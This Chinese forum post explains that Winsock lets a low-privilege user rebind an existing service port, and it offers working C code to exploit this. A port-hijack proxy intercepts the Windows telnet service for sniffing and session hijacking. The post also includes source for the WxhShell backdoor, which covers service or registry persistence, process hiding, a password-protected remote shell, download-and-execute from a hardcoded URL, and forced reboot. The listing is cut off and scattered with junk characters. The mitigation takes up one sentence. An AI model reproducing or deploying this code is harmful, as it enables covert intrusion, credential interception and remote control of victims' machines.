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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r}Gku0Hu_E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y[>h |@  
-`z%<)!Y  
  saddr.sin_family = AF_INET; n_Y7*3/b-o  
UH+#Nel+!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qkp0'f*}  
_(~ E8g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UmMu|`  
{ ] 0T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pStb j`Eq  
?|}qT05  
  这意味着什么?意味着可以进行如下的攻击: d ( ru5*p  
;l0%yg/}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T$<'ZC  
#D?w,<_8,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tu{paQ  
aTvLQ@MQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }y J,&N'p  
9jx>&MnWs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7i02M~*uS  
8I#^qr5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y,,Z47% E  
O7.eq524  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _ /.VXW  
+7 j/.R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7(C)vtEO:  
KjF8T7%  
  #include %gSmOW2.c^  
  #include !Z{7X ^  
  #include Vu4LC&q  
  #include    \`2EfYJ{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *u,xBC2C  
  int main() k,<7)-  
  { ]-a/)8  
  WORD wVersionRequested; G-]<+-Q$4  
  DWORD ret; OR' e!{  
  WSADATA wsaData; Nr)DU.f  
  BOOL val; usoyH0t!?  
  SOCKADDR_IN saddr; qx*b\6Rt  
  SOCKADDR_IN scaddr; [0kZyjCq@  
  int err; on5\rY<I:@  
  SOCKET s; 1~2+w]-kU  
  SOCKET sc; _F4=+dT|  
  int caddsize; 2S[:mnK  
  HANDLE mt; ~d,$ nZ"z  
  DWORD tid;   `qCL&(`%  
  wVersionRequested = MAKEWORD( 2, 2 ); 4 CiRh  
  err = WSAStartup( wVersionRequested, &wsaData ); /!6 VP |  
  if ( err != 0 ) { ^u0y<kItX  
  printf("error!WSAStartup failed!\n"); 42,dHYdt  
  return -1;  Yy`A0v  
  } `jhbKgR[  
  saddr.sin_family = AF_INET; 4R8Qn^  
   Ic&YiATj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 --c)!Vxzx  
LL+_zBP.   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LtKR15h,  
  saddr.sin_port = htons(23); R6z *!W{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X2,v'`U5&  
  { Y-+Kf5_[  
  printf("error!socket failed!\n"); VJCj=jX  
  return -1; 3G^A^]h  
  } i\.(6hf+  
  val = TRUE; zJUT<%[U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $`vXI%|.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m@L>6;*  
  { yw7bIcs|#b  
  printf("error!setsockopt failed!\n"); meThjCC  
  return -1; Gb"kl.j  
  } Y=<zR9f`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #KHj.Vg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P+_1*lOG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "^ dMCS@  
^AZv4H*~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N6S@e\*  
  { pRsIi_~&  
  ret=GetLastError(); R@>^t4#_Q0  
  printf("error!bind failed!\n"); ^)|tf\4  
  return -1; GH3RRzp r  
  } ":=h1AJY  
  listen(s,2);  zNn  
  while(1) el<[Ng[  
  { +J A\by  
  caddsize = sizeof(scaddr); XC}2GHO<  
  //接受连接请求 30sA\TZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AxO.adQE%  
  if(sc!=INVALID_SOCKET) qzZ;{>_f  
  { oGbh *  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "dYT>w  
  if(mt==NULL) YETGq-  
  { <@4V G  
  printf("Thread Creat Failed!\n"); ).Iifu|ks  
  break; %Br1b6 V  
  } {`> pigo  
  } /%{CJ0Y  
  CloseHandle(mt); 0dD.xuor  
  } hX-^h2eV  
  closesocket(s); rCA0c8  
  WSACleanup(); ICG:4n(,  
  return 0; W~l.feW$i  
  }   #0^a-47PA<  
  DWORD WINAPI ClientThread(LPVOID lpParam) N?A}WW#  
  { K,P`V &m?  
  SOCKET ss = (SOCKET)lpParam; C&EA@U5X^  
  SOCKET sc; AnZy o a  
  unsigned char buf[4096]; `J7@G]X;2  
  SOCKADDR_IN saddr; KO[T&#y'  
  long num; R.GDCGAL  
  DWORD val; B~O<?@]d  
  DWORD ret; s~5rP:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \"5p )(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =dWq B&  
  saddr.sin_family = AF_INET; Vy=+G~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7MKZ*f@x;  
  saddr.sin_port = htons(23); -y$<fu9 e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lx ~C{tl2  
  { ys7 Tq+  
  printf("error!socket failed!\n"); y^ st T^  
  return -1; &*Kk> 4  
  } Q } 0_}W  
  val = 100; w`=XoYQl~*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #??[;xjs!  
  { T7Ju7_q}  
  ret = GetLastError(); ~eiD(04^r*  
  return -1; 5pff}Ru`  
  } jF#Dc[*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d@Wze[M?0  
  { }p8iq  
  ret = GetLastError(); mK^E@uxN  
  return -1; j:^gmZ;J  
  } yio8BcXH54  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (d.M} G  
  { >Wd_?NaI  
  printf("error!socket connect failed!\n"); ^7*zi_Q  
  closesocket(sc);  W}Rzn  
  closesocket(ss); g<8Oezi 65  
  return -1; 2';{o=TXV  
  } .`&k`  
  while(1) 7WNUHLEt  
  { Jr(Z Ym'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @v\8+0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ZK*p+u%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "5\6`\/  
  num = recv(ss,buf,4096,0); }/L#<n`Z  
  if(num>0) *A0d0M]cg  
  send(sc,buf,num,0); 8>I4e5Ym  
  else if(num==0) vnlHUQLO  
  break; dI%Nwl%  
  num = recv(sc,buf,4096,0); S.U#lAn(  
  if(num>0) D'UIxc8  
  send(ss,buf,num,0);  |vBy=:  
  else if(num==0) ~*tn|?%  
  break; |2jA4C2L}  
  } y (%y'xBP  
  closesocket(ss); 4 *. O%  
  closesocket(sc); ' Yy+^iCus  
  return 0 ; <(45(6fQ  
  } vI"BNC*Q1  
`j 4>  
'XOWSx;Y  
========================================================== fM(~>(q&  
PM)nw;nS  
下边附上一个代码,,WXhSHELL gBXoEn]  
d-H03F@N  
========================================================== e=[@HVr   
>5 2%^ ?  
#include "stdafx.h" py%:,hi  
X'/'r.b6  
#include <stdio.h> 6R#igLm  
#include <string.h> [z'jL'\4  
#include <windows.h> AU8sU?=  
#include <winsock2.h> 8/"C0I (G  
#include <winsvc.h> !~xlze   
#include <urlmon.h> /.t1Ow  
yQN^F+.  
#pragma comment (lib, "Ws2_32.lib") wEU=R>j.  
#pragma comment (lib, "urlmon.lib") X#fjIrn  
{s:"mkR  
#define MAX_USER   100 // 最大客户端连接数 Bf3 QB]9  
#define BUF_SOCK   200 // sock buffer mPo.Z"uy7  
#define KEY_BUFF   255 // 输入 buffer gzDfx&.0  
1 q|iw  
#define REBOOT     0   // 重启 ?YF2Uc8z%2  
#define SHUTDOWN   1   // 关机 Z~;rp`P  
IJ7wUZp"  
#define DEF_PORT   5000 // 监听端口 Ir Y\Q)  
fY|[YPGO^  
#define REG_LEN     16   // 注册表键长度 \ #la8,+9  
#define SVC_LEN     80   // NT服务名长度 nJwP|P_  
Qs<L$"L1  
// 从dll定义API  ;B{oGy.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y#/P||PM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {r#uD5NJ/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d@ ] N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [<wpH0lNoy  
*rYPjk6g[  
// wxhshell配置信息 UsdMCJ&G  
struct WSCFG { 5eM{>qr}  
  int ws_port;         // 监听端口 nL]eGC  
  char ws_passstr[REG_LEN]; // 口令 HNLr} Yj  
  int ws_autoins;       // 安装标记, 1=yes 0=no sg4(@>  
  char ws_regname[REG_LEN]; // 注册表键名 nZEew .T:6  
  char ws_svcname[REG_LEN]; // 服务名 m;ju@5X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R_ )PbFw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Us%g&MWdpb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uF[~YJ>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7ab'q&Y[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7zowvE?#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 60WlC0Y~u  
fk\]wFj  
}; ONF x -U]  
mRxeob  
// default Wxhshell configuration tY#Zl 54~{  
struct WSCFG wscfg={DEF_PORT, `w)yR>lqh  
    "xuhuanlingzhe", *Xh#W7,<  
    1, ! iK{q0  
    "Wxhshell", CXTt N9N9  
    "Wxhshell", p!\ GJ a",  
            "WxhShell Service", G7r.Jm^q  
    "Wrsky Windows CmdShell Service", g`)0 wP  
    "Please Input Your Password: ", l9 &L$,=  
  1, Z tc\4  
  "http://www.wrsky.com/wxhshell.exe", Ydyz-  
  "Wxhshell.exe" 7vc4 JO]  
    }; uXb} o UC  
~Q}!4LH  
// 消息定义模块 \~  l"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PO ,zP9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3r[ s_Y*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .0MY$0s  
char *msg_ws_ext="\n\rExit."; pdjRakN  
char *msg_ws_end="\n\rQuit."; Y&bO[(>1  
char *msg_ws_boot="\n\rReboot..."; .9UrWBW\I  
char *msg_ws_poff="\n\rShutdown..."; I6,||!sZ  
char *msg_ws_down="\n\rSave to "; 0-/@-qV\  
B[t>T>~  
char *msg_ws_err="\n\rErr!"; #+$ PD`j  
char *msg_ws_ok="\n\rOK!"; 46~nwi$,^  
Tt,T6zs- <  
char ExeFile[MAX_PATH]; N:%Nq8I}:  
int nUser = 0; **.23<n^W  
HANDLE handles[MAX_USER]; s|X_:3\x  
int OsIsNt; ant2];0p  
#c~- 8=  
SERVICE_STATUS       serviceStatus; l8e)|MSh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { _Y'%Ggh  
\C{Zqo,  
// 函数声明 /)<kG(Z  
int Install(void); .kJu17!  
int Uninstall(void); OjrZ6  
int DownloadFile(char *sURL, SOCKET wsh); Y' 5X4Ks|  
int Boot(int flag); q_[`PYT  
void HideProc(void); AtxC(g m 1  
int GetOsVer(void); T&}KUX~Q/  
int Wxhshell(SOCKET wsl); b~(S;1NS'  
void TalkWithClient(void *cs); ({D>(xN   
int CmdShell(SOCKET sock); tvJl&{-OX  
int StartFromService(void); Xe(]4Ux  
int StartWxhshell(LPSTR lpCmdLine); Dn#UcMO>W  
9#kk5)J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TP)o0U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j,z)x[3}  
7p>T6jK)  
// 数据结构和表定义 [w)KNl  
SERVICE_TABLE_ENTRY DispatchTable[] = O3pd5&^g  
{ .')^4\  
{wscfg.ws_svcname, NTServiceMain}, Dw y|mxlFn  
{NULL, NULL} - b`  
}; BgY|v [M&  
Dj6^|R$z&  
// 自我安装 8?|W-rN  
int Install(void) n#B}p*G  
{ w4zp%`?D'  
  char svExeFile[MAX_PATH]; L=P8;Gj)  
  HKEY key; dCLNZq h6  
  strcpy(svExeFile,ExeFile); /+WC6&  
%ofq  
// 如果是win9x系统,修改注册表设为自启动 f"^t~q[VS  
if(!OsIsNt) { 2X(2O':Uc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f 0~Z@\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7e D` is  
  RegCloseKey(key); n8D'fvY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a.ijc>K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;";>7k/}  
  RegCloseKey(key); @gQ?cU7  
  return 0; >t.PU.OM  
    } ad=7FhnIa3  
  } "hZ `^ "0b  
} _ozg=n2(  
else { $_e{Zv[  
]/AU_&  
// 如果是NT以上系统,安装为系统服务 jR*iA3LDo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }r"E\~E  
if (schSCManager!=0) :`0,f?cE  
{ P]L%$!g  
  SC_HANDLE schService = CreateService $#wi2Ve=6b  
  ( )QmmI[,tq  
  schSCManager, gV*4{ d`  
  wscfg.ws_svcname, XXQC`%-]<i  
  wscfg.ws_svcdisp, R@`xS<`L/  
  SERVICE_ALL_ACCESS, $}EARW9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `V.tqZF  
  SERVICE_AUTO_START, `iEYq0}  
  SERVICE_ERROR_NORMAL, &v9"lR=_k  
  svExeFile, C;9P6^Oz  
  NULL, "j.Q*Hazg  
  NULL, Urksj:N  
  NULL, mM_gOd  
  NULL, -x?|[ +%  
  NULL rxZk!- t)L  
  ); +?5Vuc%  
  if (schService!=0) V P7LKfv  
  { vY[ u;VU  
  CloseServiceHandle(schService); %f(4jQ0I  
  CloseServiceHandle(schSCManager); dN){w _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CurU6x1  
  strcat(svExeFile,wscfg.ws_svcname); WMFn#.aY5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;#*.@Or@Ah  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h645;sb0  
  RegCloseKey(key); CI+liH  
  return 0; d[E= HN  
    } +LF=oM<  
  } ]n$ v ^  
  CloseServiceHandle(schSCManager); PI8ag  
} h-o;vC9fC  
} e"Z,!Q^-L  
CM `Q((  
return 1; +.$:ZzH#  
} j9cB<atL  
g1B P  
// 自我卸载 U<'$ \ P  
int Uninstall(void) QqXaXx;  
{ PC%_^BDW  
  HKEY key; <YWu/\{KT  
ol_&epG;ST  
if(!OsIsNt) { 3;!a'[W&p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'OMl9}M  
  RegDeleteValue(key,wscfg.ws_regname); 472'P  
  RegCloseKey(key); IEfm>N-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GW]t~EL  
  RegDeleteValue(key,wscfg.ws_regname); 37V$Qb_  
  RegCloseKey(key); 9(bbV5}  
  return 0; GW9,%}l^;  
  } 'n?"f|G  
} w}29#F\]R  
} \`8F.oZ^)  
else { {4%ddJn[.)  
j\.e6&5%SS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wOH 3[SKo  
if (schSCManager!=0) -{yG+1  
{ 9s*UJIL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I."s&]FZ  
  if (schService!=0) y cWY.HD  
  { TI8E W  
  if(DeleteService(schService)!=0) { 0bGQO&s [  
  CloseServiceHandle(schService); C{6m?6  
  CloseServiceHandle(schSCManager); swhtlc@@  
  return 0; CT|H1Ry2T  
  } UZgrSX {  
  CloseServiceHandle(schService); V{rQ@7SE  
  } kioIyV\=  
  CloseServiceHandle(schSCManager);  yT(86#st  
} hi Ws:Yq  
} Zj nWbnW  
O:dUzZR['  
return 1; 7[}WvfN8#  
} zaE!=-U  
*mN8Qd  
// 从指定url下载文件 ;47=x1j i  
int DownloadFile(char *sURL, SOCKET wsh) Q2!RFtXV  
{ 8JO(P0aT  
  HRESULT hr; n|PW^kOE/  
char seps[]= "/"; 9|9/8a6A  
char *token; YDEb MEMd/  
char *file; *#'&a(h B!  
char myURL[MAX_PATH]; [,|4%Y  
char myFILE[MAX_PATH]; .O PBET(gv  
1ay{uU!EL  
strcpy(myURL,sURL); L-e6^%eU  
  token=strtok(myURL,seps); vNU[K%U  
  while(token!=NULL) _cbXzSYq&  
  { D6EqJ,~  
    file=token; JJP!9<  
  token=strtok(NULL,seps); y<y9'tx  
  } _Aw-{HE'  
j9= )^?  
GetCurrentDirectory(MAX_PATH,myFILE); v)'Uoe"R%  
strcat(myFILE, "\\"); ay28%[Q b4  
strcat(myFILE, file); EFs\zWF  
  send(wsh,myFILE,strlen(myFILE),0); G:MQ_tfr&  
send(wsh,"...",3,0); dp:5iuS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {|Fn<&G  
  if(hr==S_OK)  V#+J4   
return 0; f:9qId ;/M  
else L!2Ef4,wAz  
return 1; \(1WLP$2U  
cty  
} ) KYU[  
6x8lnXtA  
// 系统电源模块 qp]s VY  
int Boot(int flag) 4WQ 96|F  
{ YMn=9EUp  
  HANDLE hToken; ]T>YYz  
  TOKEN_PRIVILEGES tkp; .O9Pn,:  
A@w9_qo  
  if(OsIsNt) { v<?k$ e5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  PO=A^b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8noo^QO  
    tkp.PrivilegeCount = 1; xllmF)]*Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JRw)~Tg @  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zZ])G  
if(flag==REBOOT) { 46c0;E\9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (m=F  
  return 0; w{Y:p[}  
} rVnolA*%  
else { <P c;8[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mmEe@-lE  
  return 0; 4eS(dPI0  
} L4Si0 K  
  } |C\XU5}  
  else { QWK\6  
if(flag==REBOOT) { }h\]0'S~J~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4&E &{<;  
  return 0; @]%c UjQ  
} =,LhMy  
else { `Zz;[<*<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O,7*dniH  
  return 0; H=_k|#/  
} Bj\oo+L/  
} /f,*|  
qBWt(jY  
return 1; b#_u.vP  
} *lp{,  
PvS\  
// win9x进程隐藏模块 1?T^jcny:M  
void HideProc(void) 6X GqZ!2  
{ h)yAg e  
j}$Q`7-wB1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &0euNHH;sL  
  if ( hKernel != NULL ) u-~?ylh  
  { J<7nOB}OD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  xXZ {  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  /w(t=Y  
    FreeLibrary(hKernel); 7vK}aOs0  
  } }m-+EUEo9  
JA^Y:@<{/  
return; 4B@L<Rl{\  
} },tn  
[Ma d~;  
// 获取操作系统版本 3 e<sNU?  
int GetOsVer(void) ZCCwx71j  
{ FtxmCIVIV~  
  OSVERSIONINFO winfo; bA3pDt).p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gA:N>w&<X  
  GetVersionEx(&winfo); Twr<MXa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *'ex>4^  
  return 1; 5TcirVO82  
  else rfc;   
  return 0; KN zm)O  
} iY4FOt7\  
NxQ+z^o\  
// 客户端句柄模块 pL)o@-k#%  
int Wxhshell(SOCKET wsl) /s^O M`5  
{ 1$ ~W~O  
  SOCKET wsh; 5oE!^bF?  
  struct sockaddr_in client; Wq]Lb:&{a  
  DWORD myID; M }tr*L  
CZ_ (IT7  
  while(nUser<MAX_USER) O[#pB. 4  
{  -!z,t7!  
  int nSize=sizeof(client); Fm{`?!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X'h J&-[P  
  if(wsh==INVALID_SOCKET) return 1; @-Js)zcl q  
X3;|h93.a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); or1D 6 *'  
if(handles[nUser]==0) c_^-`7g  
  closesocket(wsh); EBPm7{&0|  
else ] 6rr;S  
  nUser++; y9L:2f\  
  } Wo+'j $k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C@L8,Kj ~.  
GT} =(sD L  
  return 0; X(ZouyD<  
} OTe0[p6v  
Y!|* `FII  
// 关闭 socket @I^LmB9*  
void CloseIt(SOCKET wsh) <kr%ylhIu  
{ L z'05j3!  
closesocket(wsh); -I#1xJU  
nUser--; Q+UqLass  
ExitThread(0); lnoK.Vk9,  
} Ju"*>66  
J_^Ml)@iy  
// 客户端请求句柄 e$+?l~  
void TalkWithClient(void *cs) O0i[GCtP5  
{ gLef6q{}  
{ f@k2^  
  SOCKET wsh=(SOCKET)cs; s'/ g:aJ  
  char pwd[SVC_LEN]; }+8w  
  char cmd[KEY_BUFF]; OJ:iQ  
char chr[1]; P9aGDma  
int i,j; "##Ylq("  
J9 iQW  
  while (nUser < MAX_USER) {  #{8n<sE  
EJrn4QOs  
if(wscfg.ws_passstr) { )q48cQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?lYi![.o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b{o%`B*  
  //ZeroMemory(pwd,KEY_BUFF); ]"< ` ^  
      i=0; \Q+<G-Kb.  
  while(i<SVC_LEN) { Gmi$Nl!~  
oX9rpTi  
  // 设置超时 wv8WqYV  
  fd_set FdRead; :3# t;  
  struct timeval TimeOut; ;-1yG@KG  
  FD_ZERO(&FdRead); ,nELWzz%{  
  FD_SET(wsh,&FdRead); nRmZu\(Ow|  
  TimeOut.tv_sec=8; Dog Tj  
  TimeOut.tv_usec=0; tNI~<#+lg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p Rn vd|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pZ,P_?  
C1@6 r%YD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <-:gaA`KM  
  pwd=chr[0]; [p+6HF  
  if(chr[0]==0xd || chr[0]==0xa) { e!67Na0X(  
  pwd=0; 9 L{JU  
  break; NyTv~8A`)  
  } #Cda8)jl(  
  i++; n3t0Qc  
    } csV.AN'obq  
?>V4pgGCE  
  // 如果是非法用户,关闭 socket dM{xPpnx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]$'w8<D>t,  
} 1} {bHj  
^y,% Tv>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i-'rS/R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `)[bu  
tU02t#8  
while(1) { !dVth)UV  
9I:H=5c  
  ZeroMemory(cmd,KEY_BUFF); {U&*8Q(/  
?th`5K30  
      // 自动支持客户端 telnet标准   !'()QtvC<  
  j=0; bojx:g  
  while(j<KEY_BUFF) { q1Vh]d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i6p0(OS&D  
  cmd[j]=chr[0]; -o\r]24  
  if(chr[0]==0xa || chr[0]==0xd) { z (,%<oX  
  cmd[j]=0; VemgG)\  
  break; fT-yY`  
  } e5_:15%R\  
  j++; G9.+N~GZ.  
    } D_%y&p?<Ls  
%.kJ@@_e  
  // 下载文件 g_\U-pzr  
  if(strstr(cmd,"http://")) { 6_a42#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hVe@:1og#  
  if(DownloadFile(cmd,wsh)) 8kz7*AO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]7Rqslz  
  else  opK=Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -t, .A/?  
  } "Ldi<xq%xl  
  else { ,[rh7 _  
t'bzhPQO)f  
    switch(cmd[0]) { H1H+TTZr  
  * _puW x  
  // 帮助 &}P{w  
  case '?': { f>Mg.9gJ(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 51Yq>'8  
    break; 0^VA,QkQ\  
  } 5+<<:5_6l  
  // 安装 Zb)j2Xgl  
  case 'i': { 8}FZ1h2 4  
    if(Install()) Tz H*?bpP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.bB.<  
    else 8S_i;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8v7;{4^  
    break; 2YD;Gb[8  
    } [:geDk9O#'  
  // 卸载 Tti]H9g_  
  case 'r': { N'nI ^=  
    if(Uninstall()) ] Ma2*E !p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw0b>E8gZ&  
    else w{J0K; L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^PY*INv  
    break; N`7) 88>w  
    } FpjpsD~ Qu  
  // 显示 wxhshell 所在路径 **L. !/  
  case 'p': { K~p\B  
    char svExeFile[MAX_PATH]; ENwDW#U9  
    strcpy(svExeFile,"\n\r"); ln#Jb&u  
      strcat(svExeFile,ExeFile); DGMvYNKTj  
        send(wsh,svExeFile,strlen(svExeFile),0); SG1fu<Q6J  
    break; t&+f:)n  
    } "oX@Z^  
  // 重启 / lh3.\|  
  case 'b': { 5UE5;yo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #F\}PCBe'  
    if(Boot(REBOOT)) 5`oVyxJ<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }R#YO$J7  
    else { a $pxt!6  
    closesocket(wsh); <4,n6$E  
    ExitThread(0); >r] bfN,  
    } JTw\5j  
    break; -EV_=a8[y  
    } \hpD  
